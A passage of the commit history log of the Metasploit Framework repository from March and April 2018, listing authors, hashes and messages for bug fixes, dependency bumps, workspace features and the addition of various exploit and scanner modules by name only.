2018-04-11 17:37:56 -05:00
Adam Cammack
7e4caa16ff
Add more example output to module doc
2018-04-11 17:29:18 -05:00
Matthew Kienow
518d672ad5
Update cmd_notes help message test
2018-04-11 18:09:48 -04:00
Adam Cammack
8c7f929636
Land #9865 , Update Meterpreter ls/dir help
2018-04-11 17:05:18 -05:00
Matthew Kienow
087ae447c5
Remove cmd notes sort operation
2018-04-11 17:46:13 -04:00
James Barnett
86b6009999
Land #9860 , Fix DB init when database.yml is missing
...
This PR fixes a bug introduced with goliath that caused incorrect error messages
and other error messages when no database.yml was present. It also improves the
messaging around that use case and loads CommandDispatcher::Db correctly.
2018-04-11 16:13:40 -05:00
Adam Cammack
f1d426d257
Land #9833 , Remove broken feature detection
2018-04-11 15:02:53 -05:00
Aaron Soto
b9d71b7147
Renamed 'mask' to 'glob'
2018-04-11 14:50:27 -05:00
Aaron Soto
21467d7938
Update stdapi/fs help output to match searching/masking parameters
2018-04-11 14:19:33 -05:00
James Barnett
4e5e0f2c40
Merge branch 'master' of github.com:rapid7/metasploit-framework
2018-04-11 13:59:43 -05:00
James Barnett
059ba7472c
Land #9863 , Fix crash when tab completing option values
...
The signature for services was udpated, and each_service was not calling
using the updated method. This was causing tab completion to crash
msfconsole when being used with option values.
2018-04-11 13:52:30 -05:00
William Vu
8b6f267987
Land #9864 , command stager debugging fix
2018-04-11 13:51:44 -05:00
William Vu
6c6aa8db82
Print generated CmdStager with inspect, not join
...
I dun goofed. I knew I should have just printed it verbatim.
tl;dr I thought I had accounted for command compression. I was wrong.
This should also give us more information about what exactly is being
run and how many times.
2018-04-11 13:49:00 -05:00
Wei Chen
19e76329dc
Add some checks in buffer.rb and fix option in msfvenom
2018-04-11 13:02:35 -05:00
Matthew Kienow
3db19fe4f2
Fix DBManager::Service use of services method
...
services method was previously modified to use a hash as the parameter,
but each_service was passing a workspace. Make each_service method
consistent with other DBManager modules.
2018-04-11 11:43:12 -04:00
cbrnrd
1e34a6d3c6
Add new functions and fix return bugs
2018-04-11 10:47:21 -04:00
Borja Merino
2d33320921
Added a post-exploitation module to send wireless probe requests
2018-04-11 16:43:33 +02:00
Matthew Kienow
e639fda53c
Fix DB initialization with no database YAML
2018-04-11 09:15:38 -04:00
Dhiraj Mishra
8b6bfcb2f0
Added documentation
2018-04-11 11:28:50 +05:30
thecarterb
57e243ac49
Read from /proc/mounts instead of the mount command
2018-04-10 23:20:00 -04:00
scriptjunkie
bc07ba3769
load only at use to break require loop
2018-04-10 21:05:41 -05:00
Wei Chen
13edf66fa3
Fix options
2018-04-10 18:57:02 -05:00
Brent Cook
41a21def80
Land #9857 , Restore services search semantics
2018-04-10 17:25:48 -05:00
James Barnett
cd48b47760
Fix failing tests.
...
-Was accidentally deleting opts[:workspace] instead of processing
-Update notes help text expectations
2018-04-10 17:10:32 -05:00
James Barnett
e51f41fa34
Merge remote-tracking branch 'msf_jbarnett/fix_services_bugs' into MS-3062_workspaces
2018-04-10 13:35:33 -05:00
James Barnett
f8cbb9d7c0
Update test
2018-04-10 13:14:16 -05:00
Auxilus
f1240b0454
resolves #9855
2018-04-10 22:20:27 +05:30
Wei Chen
b630d5c327
Add encryption support for shellcode
2018-04-10 11:14:14 -05:00
James Barnett
462db05f4c
Re-enable port search functionality
2018-04-10 11:10:32 -05:00
Adam Cammack
4495eea1ca
Land #9836 , Force #! for external modules
2018-04-10 11:08:15 -05:00
Adam Cammack
81ec33b0e4
Refactor script path check into base module loader
2018-04-10 11:07:21 -05:00
Brendan Coles
154951cd37
minor update
2018-04-11 01:45:41 +10:00
James Barnett
48c0bbfa7a
Only display the services for a given workspace
2018-04-10 10:28:02 -05:00
Dhiraj Mishra
8be159bdc7
Fixing space-tab mixed
2018-04-10 20:45:38 +05:30
Dhiraj Mishra
7cbba34c83
Parsing IP address only
...
Changed title name and description, however few things still needs to fix.
2018-04-10 20:32:52 +05:30
Brendan Coles
608e53ea89
Add documentation
2018-04-10 14:18:22 +00:00
Carter Brainerd
f54df6aa46
Merge pull request #1 from timwr/land-9784
...
match newfs_apfs regex
2018-04-10 07:31:12 -04:00
Brendan Coles
fc7040099c
Update Linux sock_sendpage local exploit module
2018-04-10 11:15:42 +00:00
Green-m
3c5cbd2664
Use cmdstager method, update function to clean file, delete lots of useless code and etc.
2018-04-10 06:14:47 -04:00
cbrnrd
07b3b576f5
Fix parsing in get_cpu_info
2018-04-10 06:03:16 -04:00
cbrnrd
1276960d88
Fix typo in raise call
2018-04-10 05:54:35 -04:00
cbrnrd
0a79c5a15b
Add docs to nosuid?
2018-04-10 05:53:19 -04:00
cbrnrd
6e6bc9bc6b
Add noexec and nosuid
...
Also fix some regex bugs
2018-04-10 05:51:57 -04:00
Tim W
ee6f83c281
match newfs_apfs regex
2018-04-10 14:45:14 +08:00
Brent Cook
c525bc3c0a
Land #9848 , handle 'check' command on modules that do not implement it
2018-04-09 22:27:21 -05:00
scriptjunkie
2ea875d304
Fix issue preventing psexec against non-powershell targets
2018-04-09 22:01:49 -05:00
Aaron Soto
b83edc0ff6
Land #9845 Remove temp file after cmd execution
2018-04-09 15:40:19 -05:00
Aaron Soto
be18930f12
Cleaned up output, only querying for %WINDIR% if necessary
2018-04-09 15:27:50 -05:00
James Barnett
90542779ff
Audit models to ensure :workspace is passed only when needed
2018-04-09 14:50:37 -05:00
Matthew Kienow
251ee7a9e0
Land #9849 , remove dlog filling framework.log
2018-04-09 15:12:19 -04:00
William Vu
e17a788ab5
Remove stray dlog filling framework.log
2018-04-09 13:58:10 -05:00
William Vu
924a336287
Fix unsupported check_simple method for modules
2018-04-09 13:43:22 -05:00
Auxilus
c07f2f1a09
Update run_as.rb
2018-04-09 21:24:16 +05:30
Auxilus
c34b796f13
Remove temp file from dist after cmd execution
...
https://github.com/rapid7/metasploit-framework/issues/9830
2018-04-09 20:14:01 +05:30
Brent Cook
7b85edfde5
Land #9822 , Fix backgrounded aggressive exploits
2018-04-09 09:36:12 -05:00
Green-m
c0be313691
Update the get_version and check function
2018-04-09 00:07:58 -04:00
Green-m
6682acc4db
Pass range as parameter to rand_text_alpha_lower
2018-04-08 23:38:44 -04:00
Green-m
d9dc2ec2f7
Merge branch 'master' into couchdb_cmd_exec
2018-04-08 23:35:04 -04:00
Green-m
dabd9c8811
Improve function get_version and check
2018-04-08 07:51:37 -04:00
h00die
a473dd04a8
Land #9813 , Add etcd library and version scanner
2018-04-08 07:05:31 -04:00
gushmazuko
6b1abba6c8
Added sluihijack module documentation
2018-04-08 12:03:11 +02:00
gushmazuko
bd672ae148
Description changed
2018-04-08 12:00:14 +02:00
gushmazuko
1e439b623b
Description changed
2018-04-08 11:46:01 +02:00
William Vu
5676b73b1e
Land #9839 , rex-text 0.2.17
2018-04-08 02:37:02 -05:00
William Vu
c8da88b21a
Update rex-text to 0.2.17
2018-04-08 02:35:15 -05:00
Green-m
fd83caf51d
use Gem::Version between
2018-04-08 02:23:45 -04:00
Brent Cook
07c9be5130
Land #9812 , Add Msf::Post::Linux::Kernel lib
2018-04-08 00:40:03 -05:00
Green-m
076a73c2ee
use Gem::Version for version comparisons
2018-04-07 23:37:56 -04:00
Brent Cook
6c8ea2d883
also be sure to load executable modules if they don't have #!
2018-04-07 21:15:51 -05:00
Brent Cook
28ebe9d102
sanity check that external modules start with #! before executing
2018-04-07 16:31:34 -05:00
Brent Cook
07524f3829
Land #9834 , add Python UDP channel support
2018-04-07 14:36:32 -05:00
Brent Cook
b55eb9b8f2
bump payloads, add Python UDP channel support
...
This pulls in Python UDP channel support from
https://github.com/rapid7/metasploit-payloads/pull/276
2018-04-07 14:21:30 -05:00
Brent Cook
df6de5b1c3
remove self-evident rspec
2018-04-07 13:00:19 -05:00
Brent Cook
6fb6570f99
delete old feature detection code from exploit base
...
This deletes some old code that apparently has been broken and somewhat unused for many years.
The 'derived_implementor?' method for modules relies on the debug output from Ruby in order to tell of a class implements a method, but the regex it used didn't work properly with any modern Ruby version until 2.5.x. This caused a random sleep to get inserted into certain payload staging operations, which actively breaks staging in certain scenarios (I'm not trying to address that here).
This also removes some ancient module feature detection code, which also is entirely unused today.
2018-04-07 12:47:42 -05:00
thecarterb
3f40f43609
Make final output more readable
2018-04-07 11:05:47 -04:00
cbrnrd
04d5e8a765
Switch text processing to ruby
...
Also add pidof() and command_exists?()
2018-04-06 23:31:11 -04:00
h00die
dd523c7d20
compile path not local file
2018-04-06 18:51:04 -04:00
Brent Cook
3aee44ca1a
Land #9828 , fix reverse HTTP/S listeners for the wildcard address
2018-04-06 16:06:51 -05:00
Matthew Kienow
5a693aa89c
Fix recursive cleanup issue
2018-04-06 13:49:16 -05:00
Brent Cook
b20666656f
ensure cleanup commands only get invoked once
2018-04-06 13:49:16 -05:00
Brent Cook
7a95024062
remove more ring operations
2018-04-06 13:49:16 -05:00
Brent Cook
730010aa06
remove RingBuffer from interactive command shells, fix token handling
2018-04-06 13:49:13 -05:00
Dhiraj Mishra
201cdfb189
Handling execption by MSFTIDY
2018-04-06 22:54:21 +05:30
Daniel Teixeira
37c578e16d
Update oscommerce_installer_unauth_code_exec.rb
2018-04-06 17:10:53 +01:00
scriptjunkie
c303859c11
Fix #9827
2018-04-06 11:06:52 -05:00
cbrnrd
c97eb42eba
Finish up additions and add doc
2018-04-06 12:04:35 -04:00
Brendan Coles
800c471d24
Merge pull request #4 from jhart-r7/pr/fixup-9812
...
Add Post::Linux::Kernel uname helpers
2018-04-07 01:44:13 +10:00
Dhiraj Mishra
4e6afd49ed
Update browser_getprivateip.rb
2018-04-06 21:10:29 +05:30
Jon Hart
1cc16a55a8
Add other linux kernel post helpers
2018-04-06 08:28:53 -07:00
Brendan Coles
ba88118d7a
Update kernel_modules method to return Array
2018-04-06 15:02:43 +00:00
Daniel Teixeira
dee01189ca
Update oscommerce_installer_unauth_code_exec.rb
2018-04-06 15:41:21 +01:00
Daniel Teixeira
50c3f53e03
Update oscommerce_installer_unauth_code_exec.rb
2018-04-06 14:39:45 +01:00
Daniel Teixeira
0c829a5c6b
Update oscommerce_installer_unauth_code_exec.rb
2018-04-06 14:35:33 +01:00
Daniel Teixeira
cbdb3a35b2
Update oscommerce_installer_unauth_code_exec.rb
2018-04-06 14:14:11 +01:00
Cantoni Matteo
c8544c3bc0
Add 'phpMyAdmin Authenticated Remote Code Execution' aux module - CVE-2016-5734
2018-04-06 14:57:07 +02:00
Dhiraj Mishra
f6cfcefbae
Some tweaks suggested by bcoles.
2018-04-06 17:44:43 +05:30
Daniel Teixeira
6698f1b64b
Update oscommerce_installer_unauth_code_exec.rb
2018-04-06 13:05:40 +01:00
Daniel Teixeira
09bbbf82ba
Update oscommerce_installer_unauth_code_exec.md
2018-04-06 13:05:14 +01:00
Daniel Teixeira
f50b42ec52
Rename osCommerce.md to oscommerce_installer_unauth_code_exec.md
2018-04-06 11:32:38 +01:00
Daniel Teixeira
cb0e516ecd
Update osCommerce.md
2018-04-06 11:32:20 +01:00
Daniel Teixeira
806c72ebcb
Update and rename oscommerce.rb to oscommerce_installer_unauth_code_exec.rb
2018-04-06 11:29:29 +01:00
Daniel Teixeira
3efd17a801
Rename osCommerce.rb to oscommerce.rb
2018-04-06 10:46:00 +01:00
Daniel Teixeira
0d254b4e5c
Update osCommerce.rb
2018-04-06 10:40:28 +01:00
Dhiraj Mishra
582eb2e61c
Create browser_getprivateip.rb
2018-04-06 14:42:57 +05:30
thecarterb
a85f118bf2
Begin adding functions to Msf::Post::Linux::System
2018-04-05 21:32:58 -04:00
William Vu
7cc82a14b6
Update exploit driver with correct method
2018-04-05 18:56:19 -05:00
William Vu
17ed88b766
Fix backgrounded aggressive exploits
...
Any exploit that includes an aggressive stance is aggressive, regardless
of whether or not it has passive components.
This fix should prevent known-aggressive exploits from backgrounding.
2018-04-05 18:34:36 -05:00
Daniel Teixeira
b5681cb954
osCommerce Module
2018-04-05 20:28:14 +01:00
Daniel Teixeira
bcef50b062
osCommerce Documentation
2018-04-05 20:26:44 +01:00
James Barnett
fe224f628b
Remove update_host_via_sysinfo since it is unused
2018-04-05 14:20:25 -05:00
Brent Cook
81c78a51c2
Land #9794 , Added support for regional dialects
2018-04-05 12:56:07 -05:00
Brendan Coles
499b0a857f
Add kernel_modules method
2018-04-05 05:25:36 +00:00
Brent Cook
e3fa9c3702
Land #9817 , load all the deps for msfvenom
...
Merge remote-tracking branch 'upstream/pr/9817' into upstream-master
2018-04-04 17:39:28 -05:00
Jeffrey Martin
3dacec1982
Load all deps when needed in help cause we have to
2018-04-04 17:36:08 -05:00
Spencer McIntyre
0a3bcf570c
Add the scanner/smb/impacket/dcomexec module
2018-04-04 17:34:41 -04:00
James Barnett
852bc3d237
Dont inject :workspace into every HTTP request.
2018-04-04 16:30:25 -05:00
James Barnett
6a02712674
Merge remote-tracking branch 'mkienow/MS-3061-remote-notes-read-update-delete' into MS-3062_workspaces
2018-04-04 16:03:43 -05:00
Adam Cammack
b4683b5f85
Land #9815 , Fix deleting non-existent workspace
2018-04-04 14:19:47 -05:00
Jon Hart
bc81cfad1f
Fix error handling when trying to delete non-existent workspace
2018-04-04 11:40:21 -07:00
Jon Hart
63aabc00f1
etcd rubocop style
2018-04-04 11:01:38 -07:00
Jon Hart
b9dbf1a6f3
Fix formatting error in etcd open_key_scanner
2018-04-04 10:59:38 -07:00
Jon Hart
c96bdf4ea1
Add etcd version scanner docs
2018-04-04 10:58:55 -07:00
Jon Hart
a8c76638d3
Rename
2018-04-04 10:54:20 -07:00
Jon Hart
518e17118a
Add DisclosureDate
2018-04-04 10:52:47 -07:00
Jon Hart
a6c31aceb2
Refactor common etc capabilities; add separate version scanner
2018-04-04 10:48:27 -07:00
Brendan Coles
6d92c319f8
Add Msf::Post::Linux::Kernel lib
2018-04-04 17:13:49 +00:00
Green-m
0d470f67ef
Run bash on the script directly.
2018-04-04 05:49:35 -04:00
Green-m
c53341f6c0
Fix msftidy problem.
2018-04-04 00:38:57 -04:00
Green-m
388927b933
Add advanced option Attempts to control exploit times
2018-04-04 00:08:32 -04:00
Green-m
2472bfdfdc
Fix rand_text_alpha_lower problem.
2018-04-03 23:05:08 -04:00
Green-m
bbf6d072ea
Fix some errors and bugs.
2018-04-03 22:47:41 -04:00
Chris Higgins
1fa40bfe3b
Land #8539 , ProcessMaker Plugin Upload exploit
2018-04-03 20:52:17 -05:00
bwatters-r7
0faf2f4e04
Land # 8007, Added NTDSgrab module to metasploit.
...
Merge branch 'land-8007' into upstream-master
2018-04-03 15:56:37 -05:00
bwatters-r7
d9039d43ef
Land #9734 , Remove unwanted 'pop RAX' from windows/x64/reverse_(win)http
2018-04-03 14:23:41 -05:00
bwatters-r7
e17be05e6a
Land #9595 , Add post module RID Hijacking on Windows
2018-04-03 14:12:34 -05:00
Brent Cook
1424019411
update docs
2018-04-03 13:52:02 -05:00
Brent Cook
d796dc4477
Land #9807 , bump ruby_smb from the May 2017 release
...
Merge remote-tracking branch 'upstream/pr/9807' into upstream-master
2018-04-03 13:49:19 -05:00
Brent Cook
8f7d9f3ac8
rename module
2018-04-03 13:44:55 -05:00
Brent Cook
19eef59f23
add disclosure date, fix target
2018-04-03 13:39:11 -05:00
Brent Cook
bd80e9d0c5
documentation
2018-04-03 13:39:11 -05:00
Brent Cook
cd7831a2a3
An unforgettable luncheon
2018-04-03 13:39:11 -05:00
William Vu
7433069239
Bump RubySMB to latest for MSF5
2018-04-03 13:18:42 -05:00
Brent Cook
2fefc8e551
Land #9806 , fix msfconsole -L with newer versions of Ruby
2018-04-03 10:30:52 -05:00
Metasploit
90fc2b466a
automatic module_metadata_base.pstore update
2018-04-03 08:20:16 -07:00
cbrnrd
0806c0725f
Fix some bugs with command exits
...
Also fix a bug in check()
2018-04-03 10:35:49 -04:00
Brent Cook
2ee7b1ec5c
Fix native 'readline' (msfconsole -L) support for Ruby 2.5 onward
2018-04-03 08:00:08 -05:00
Brendan Coles
dfb3a421fe
Remove require statement
2018-04-03 12:56:06 +00:00
Brent Cook
8c2138f13b
Land #9742 , QNX exploit improvements
2018-04-03 07:50:29 -05:00
Tim W
9f174e7323
msftidy
2018-04-03 16:10:41 +08:00
Tim W
7c3e5da450
add more credits/references
2018-04-03 14:59:00 +08:00
Tim W
c5039251a2
add CVE-2016-4655
...
rebase
2018-04-03 14:58:57 +08:00
Tim W
d465226d89
add loader
2018-04-03 14:44:54 +08:00
Tim W
cd1f4e1373
webkit apple safari trident exploit
2018-04-03 14:44:54 +08:00
Brendan Coles
d860d7af5b
require 'rex/tar'
2018-04-03 06:34:30 +00:00
Brent Cook
bd3c00dfd0
Land #9726 , add simple Rex::Tar wrapper for consistency with other archive types
2018-04-02 23:35:22 -05:00
Brent Cook
226ef160ff
Land #9748 , Convert the smbloris DoS into an external module
...
Help reliability and performance. This some Ruby-specific external module
tooling as a result as well.
2018-04-02 23:25:10 -05:00
Brent Cook
428233b82d
Land #7949 , Format binary registry data nicely on display
2018-04-02 23:11:25 -05:00
Brent Cook
b445583a14
Land #9774 , use correct whitespace when patching python meterpreter
2018-04-02 23:07:36 -05:00
Brent Cook
d793d89830
Land #9787 , Fix adding IPv6 routes with subnets or cidr masks
...
This bumps rex-socket for the previous commit.
2018-04-02 23:02:55 -05:00
Brent Cook
b0123b2095
Land #9787 , Fix adding IPv6 routes with subnets or CIDR masks
2018-04-02 22:57:15 -05:00
Brent Cook
3e720fc752
Land #9803 , Fix no-uac msi creation
2018-04-02 22:25:28 -05:00
r4wd3r
d6dc0a2d4f
Adjust rid_hijack.rb code style with rubocop recommendations.
2018-04-03 04:57:41 +02:00
Carter Brainerd (thecarterb)
cdcbd03b3c
Create apfs_encrypted_volume_passwd.md
2018-04-02 20:48:54 -04:00
James Barnett
e892911fbe
Use a constant for default workspace name
2018-04-02 17:02:14 -05:00
Meatballs
cac0587d42
Fix no-uac msi creation
2018-04-02 19:29:16 +01:00
Brent Cook
5b8b5fe533
Land #9802 , update kerberoasting setup docs
2018-04-02 13:03:43 -05:00
Jacob Robles
288082e68d
Update documentation for get_user_spns.py
2018-04-02 12:15:13 -05:00
gushmazuko
11389a6d53
Fixed errors 2
2018-04-02 17:33:53 +02:00
gushmazuko
1327c0bb7e
Fixed errors
2018-04-02 17:21:16 +02:00
Brent Cook
fa34f3e0a4
Land #9718 , Add get_user_spns 'kerberoasting' module
2018-04-02 10:04:44 -05:00
christopher lee
3aed6d6666
Initial
2018-04-02 08:08:23 -05:00
Brent Cook
f386ae0ba3
Land #9731 , tool updates
2018-04-01 23:26:42 -05:00
Brent Cook
26e732d8a1
make memdump executable again
2018-04-01 23:25:45 -05:00
William Vu
840923d591
Land #9738 , msfconsole user-friendliness changes
2018-04-01 02:12:53 -05:00
William Vu
7da1900dfc
Land #9791 , s/upts/opts/ in transport_config.rb
2018-04-01 01:22:20 -05:00
scriptjunkie
774ef22d08
Fix upts -> opts
2018-03-30 22:26:53 -05:00
cbrnrd
c401872af6
Fix some logic flaws and other review things
...
Also make the output more reliable
2018-03-30 19:20:20 -07:00
Matthew Kienow
cb2366d2eb
Fix regex search for serialized data column
2018-03-30 19:25:38 -04:00
Matthew Kienow
4c536a1819
Add optional parameter to skip columns
2018-03-30 19:23:41 -04:00
James Barnett
7d58b0a5f4
Merge branch 'goliath' into MS-3062_workspaces
2018-03-30 16:35:26 -05:00
James Barnett
ecbbf1d940
Pass workspace when using db_nmap
2018-03-30 15:27:32 -05:00
Spencer McIntyre
c8033d69c5
Use the new keyword style for v6
2018-03-30 13:56:15 -04:00
Spencer McIntyre
bb17bdb6dd
Fix adding IPv6 routes with subnets or cidr masks
2018-03-30 13:18:03 -04:00
Brent Cook
21113f28ba
Land #9786 , disable aggregator for the Ruby 2.5 transition
2018-03-30 10:10:13 -05:00
Jeffrey Martin
261828fcda
disable aggregator for cross version compatibility
2018-03-30 10:04:30 -05:00
Brent Cook
758bcd76c2
Land #9785 , bump rubies to address latest security issues
2018-03-30 07:01:46 -05:00
Brent Cook
3443d30ae3
update gemfile.lock for Ruby 2.5.1
2018-03-30 07:01:32 -05:00
Christian Mehlmauer
b27b1e6ff2
bump older rubies
2018-03-30 13:47:07 +02:00
Christian Mehlmauer
6a6824efe9
bump to ruby 2.5.1
2018-03-30 12:47:19 +02:00
cbrnrd
76af9d5a15
Add apfs_encrypted_volume_passwd.rb
2018-03-29 23:47:45 -07:00
Matthew Kienow
f10924a5c0
Update cmd note operations, validation and output
2018-03-29 23:15:10 -04:00
Matthew Kienow
2b7c3872d4
Add proxy method for find_or_create_note
2018-03-29 18:43:34 -04:00
William Vu
e3e12ad924
Land #9782 , CheckCode::Safe for ms_ndproxy
2018-03-29 17:07:33 -05:00
William Vu
7df08f30b0
Land #9783 , ARM WinRT support for ms17_010_psexec
2018-03-29 16:44:00 -05:00
zerosum0x0
3a266d93b6
support for ARM
2018-03-29 15:11:27 -06:00
James Barnett
3b1e3a4256
Missed one more bug in append_workspace
2018-03-29 15:18:31 -05:00
James Barnett
19e01b4b66
Fix bug in append workspace when using :wspace
2018-03-29 15:04:00 -05:00
Metasploit
d446a24d0c
Weekly dependency update
2018-03-29 10:06:55 -07:00
Brent Cook
bd8a1f1377
remove list_interfaces, it's part of the network_interface gem
2018-03-29 11:50:36 -05:00
James Barnett
f41490728b
Process workspace when importing nmap data
2018-03-29 11:46:34 -05:00
Brent Cook
3a54f0d5f8
Land #9776 , if data is nil, stop reading the heartbleed socket
2018-03-29 11:23:08 -05:00
Brendan Coles
3aac041dcf
Return CheckCode::Safe for unsupported x64 systems
2018-03-29 12:03:33 +00:00
Green-m
6a45e0299b
Add document of exploit module apache_couchdb_cmd_exec
2018-03-29 02:40:51 -04:00
gushmazuko
922ed8c284
Slui File Handler Hijack LPE
...
Slui File Handler Hijack LPE
2018-03-29 00:15:03 +02:00
James Barnett
7f42235ad7
Create default workspace if it doesnt exist
2018-03-28 15:39:24 -05:00
gushmazuko
69d9321e6b
Slui File Handler Hijack LPE
...
Slui File Handler Hijack LPE - MSF Module
UAC Bypass | Local Privilege Escalation Via Slui Hijack
2018-03-28 20:44:16 +02:00
James Barnett
d23e33a7bc
Make workspace -v work with updates
2018-03-28 13:31:49 -05:00
Jon Hart
a1e83ce835
Land #9760 , @h00die's etcd scanner
2018-03-28 10:41:22 -07:00
h00die
e33b7e28fa
Merge pull request #9 from jhart-r7/pr/fixup-9760
...
More docs and some style cleanup for etcd scanner
2018-03-28 13:17:29 -04:00
Jon Hart
e01679d374
Use common path in etcd docs
2018-03-28 09:55:05 -07:00
Jon Hart
5cdfadd0df
Fix more style issues
2018-03-28 09:43:30 -07:00
Jon Hart
7767505678
Fix some style issues
2018-03-28 09:43:22 -07:00
Jon Hart
e7f9d789eb
Add docker docs for etcd
2018-03-28 09:43:12 -07:00
Jacob Robles
a1fff486bc
Land #9666 , Add 2017-8917 RCE for Joomla 3.7.0
2018-03-28 11:08:38 -05:00
Jacob Robles
0fa63ae7b3
Update documentation and module
...
Included Super User in the documentation.
Implemented changes h00die suggested.
Modified sqli to generate strings used in regex.
2018-03-28 10:57:28 -05:00
Metasploit
b4e392e322
automatic module_metadata_base.pstore update
2018-03-27 15:49:12 -07:00
h00die
c97743925f
jhart suggestions
2018-03-27 18:46:31 -04:00
James Barnett
1b6aa86d92
Merge remote-tracking branch 'mkienow/MS-3061-remote-notes-read-update-delete' into MS-3062_workspaces
2018-03-27 15:57:41 -05:00
Jeffrey Martin
288bd28d3a
if data is nil stop reading the heartbleed socket
2018-03-27 15:51:14 -05:00
Matthew Kienow
0b5d3d31f9
WIP remote note read, update, delete
2018-03-27 16:36:56 -04:00
Wei Chen
94fd599756
Land #9684 , Adding ManageEngine Application Manager RCE
...
Land #9684
2018-03-27 15:17:20 -05:00
Wei Chen
fb0d87163c
Update documentation for manageengine_appmanager_exec
2018-03-27 15:16:39 -05:00
William Vu
1f31bcd26f
Update telpho10_credential_dump
2018-03-27 14:57:57 -05:00
William Vu
f5025cb84e
Add Rex::Tar
...
This just inherits from Gem::Package::Tar{Reader,Writer} at the moment.
We may want to build out higher-level methods than what the inherited
code already provides. Or don't inherit at all.
2018-03-27 14:57:57 -05:00
Wei Chen
0a0bef0c4f
Land #9633 , Exodus Wallet Remote Code Execution
...
Land #9633
2018-03-27 14:51:15 -05:00
William Vu
a8914f2f9f
Land #9775 , module doc improvements to MS17-010
2018-03-27 14:38:20 -05:00
Jeffrey Martin
7a76593e1c
update payload size cause whitespace is more exact
2018-03-27 14:38:17 -05:00
William Vu
7e4e6e6437
Update ms17_010_{psexec,command} module docs
2018-03-27 14:32:21 -05:00
Jeffrey Martin
b509c14851
detect the whitespace needed when patching meterpreter
2018-03-27 13:24:44 -05:00
Wei Chen
8c88c53e5d
Land #9670 , Gitstack v2.3.10 RCE
...
Land #9670
2018-03-27 13:00:47 -05:00
Wei Chen
df49345f5d
Update gitstack_rce.md
2018-03-27 12:59:49 -05:00
Brent Cook
d90451eb18
Land #9773 , update Gemfile.lock for current master
2018-03-27 12:49:02 -05:00
Jeffrey Martin
b97ed7f425
updates to Gemfile.lock for current master
2018-03-27 12:28:07 -05:00
Brent Cook
a129eb4040
Land #9740 , replace factory_girl with factory_bot
2018-03-27 12:00:26 -05:00
Brent Cook
b134a33877
Merge branch 'master' into land-9740
2018-03-27 11:59:55 -05:00
jbarnett-r7
039b563fd5
Merge pull request #21 from clee-r7/fix_workspace_tests
...
fix workspace tests
2018-03-27 10:55:07 -06:00
James Barnett
9559c06c10
Land #9762 , Fix OpenSSL deprecation in Ruby 2.5
...
This PR replaces a deprecated method in the Ruby 2.5
OpenSSL library. It also bumps the ruby-version to use 2.5.
Fixes #9576
2018-03-27 11:02:44 -05:00
christopher lee
abf16a4469
fix workspace tests
2018-03-27 10:41:08 -05:00
Green-m
611a3dc19c
Add exploit module apache_couchdb_cmd_exec
2018-03-27 05:43:03 -04:00
Brent Cook
7445706ca9
Land #9768 , Use a better error in scriptable sessions
2018-03-26 20:10:17 -05:00
h00die
8b220e3bad
minor formatting
2018-03-26 19:53:35 -04:00
William Vu
a4ad7de4e0
Use a better error in scriptable sessions
2018-03-26 17:56:44 -05:00
Jacob Robles
26463b33a2
Land #9636 , Improve post module persistence_exe
2018-03-26 17:48:53 -05:00
Jacob Robles
57b048fbf7
Remove requires, changed in-place modification
2018-03-26 17:46:18 -05:00
William Vu
e761d211b9
Land #9708 , reload_lib command for msfconsole
2018-03-26 17:10:11 -05:00
William Vu
c19fc4c18f
Land #9423 , PSH for jenkins_xstream_deserialize
2018-03-26 17:09:16 -05:00
William Vu
862a3ff74d
Land #9618 , pipe auditing improvements
2018-03-26 17:01:48 -05:00
h00die
0249fe1e72
Land #9767 land magick number blog link update
2018-03-26 17:40:59 -04:00
h00die
327b2176c0
change and
2018-03-26 17:35:58 -04:00
James Barnett
83f2052ee7
Accidentally q
2018-03-26 16:09:56 -05:00
James Barnett
cfa03a999c
Finish moving current_workspace tracking to client
2018-03-26 15:58:47 -05:00
Andrew Morris
217dea60fc
Update blog link to up-to-date blog post
2018-03-26 15:43:10 -04:00
Matthew Kienow
991f4e35ea
Remove added regex options from search_term
2018-03-26 14:07:21 -04:00
William Vu
62c2b433cc
Land #9765 , missed Rex require in msfvenom
...
My bad. I thought I had caught them all. No idea how that happened. :(
2018-03-26 13:00:54 -05:00
William Vu
a541e72b92
Update Rex require for consistency
...
The speedup is minimal at best.
2018-03-26 13:00:11 -05:00
Jeffrey Martin
64a478c41b
fix -b as only options when calling msfvenom
2018-03-26 11:19:57 -05:00
Brent Cook
689a586365
bump Dockerfile to Ruby 2.5
2018-03-26 09:41:41 -05:00
Brent Cook
d0fa550cfd
bump travis, 2.2 is EOL
2018-03-26 03:42:13 -05:00
Brent Cook
3fb5137c2d
use Rex::Socket::SslTcp.supported_ssl_methods for SSLVersion option
2018-03-26 03:40:49 -05:00
Brent Cook
d67ae503bf
Update base to Ruby 2.5
...
mask metasploit-aggregator and dependencies on Ruby 2.5
2018-03-26 02:52:52 -05:00
andrea
38af667094
Support for Ruby 2.5.0 fixing OpenSSL warnings
2018-03-26 02:52:02 -05:00
h00die
e462cb49a2
updated docs
2018-03-25 14:53:30 -04:00
h00die
d739a9a057
working etcd scanner
2018-03-25 13:54:55 -04:00
Brent Cook
b39e935c5b
Land #9656 , add initial Komand plugin stub for evaluation
2018-03-25 07:47:06 -05:00
Brent Cook
4194b6d991
Land #9586 , fix #9112 , improve android screenshot error message on failure
2018-03-25 07:36:15 -05:00
Brent Cook
1610db482a
minor style nits
2018-03-25 07:34:45 -05:00
Brent Cook
95424b781b
update android payloads
2018-03-25 07:32:04 -05:00
Brent Cook
7c5c5513eb
Merge remote-tracking branch 'upstream/master' into land-9586-
2018-03-25 07:29:55 -05:00
Brent Cook
f662049b27
clarify screenshot on android scenario
2018-03-25 07:29:39 -05:00
h00die
1371684df7
add linux mint to docs
2018-03-25 07:58:51 -04:00
h00die
80c4d59560
Land #9702 exploit for clipbucket
2018-03-24 19:59:17 -04:00
h00die
0028e2c5ba
documentation update
2018-03-24 19:25:59 -04:00
Brendan Coles
d5961f277e
Add documentation
2018-03-24 23:16:51 +00:00
Brendan Coles
9bb6e72020
Add lastore-daemon D-Bus Privilege Escalation exploit
2018-03-24 23:16:42 +00:00
h00die
2b08c54cda
bcoles suggestions
2018-03-24 13:59:37 -04:00
Brendan Coles
7c4207fc7e
Fix escaping
2018-03-24 02:57:30 +00:00
h00die
e8d910ac08
spelling
2018-03-23 21:40:46 -04:00
h00die
200f8ae849
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into cve201716995
2018-03-23 21:17:07 -04:00
h00die
6b0691a91a
cve-2017-16995
2018-03-23 21:09:56 -04:00
Brendan Coles
fdd2af2d2a
Update tested versions
2018-03-24 00:23:12 +00:00
Brendan Coles
0116628208
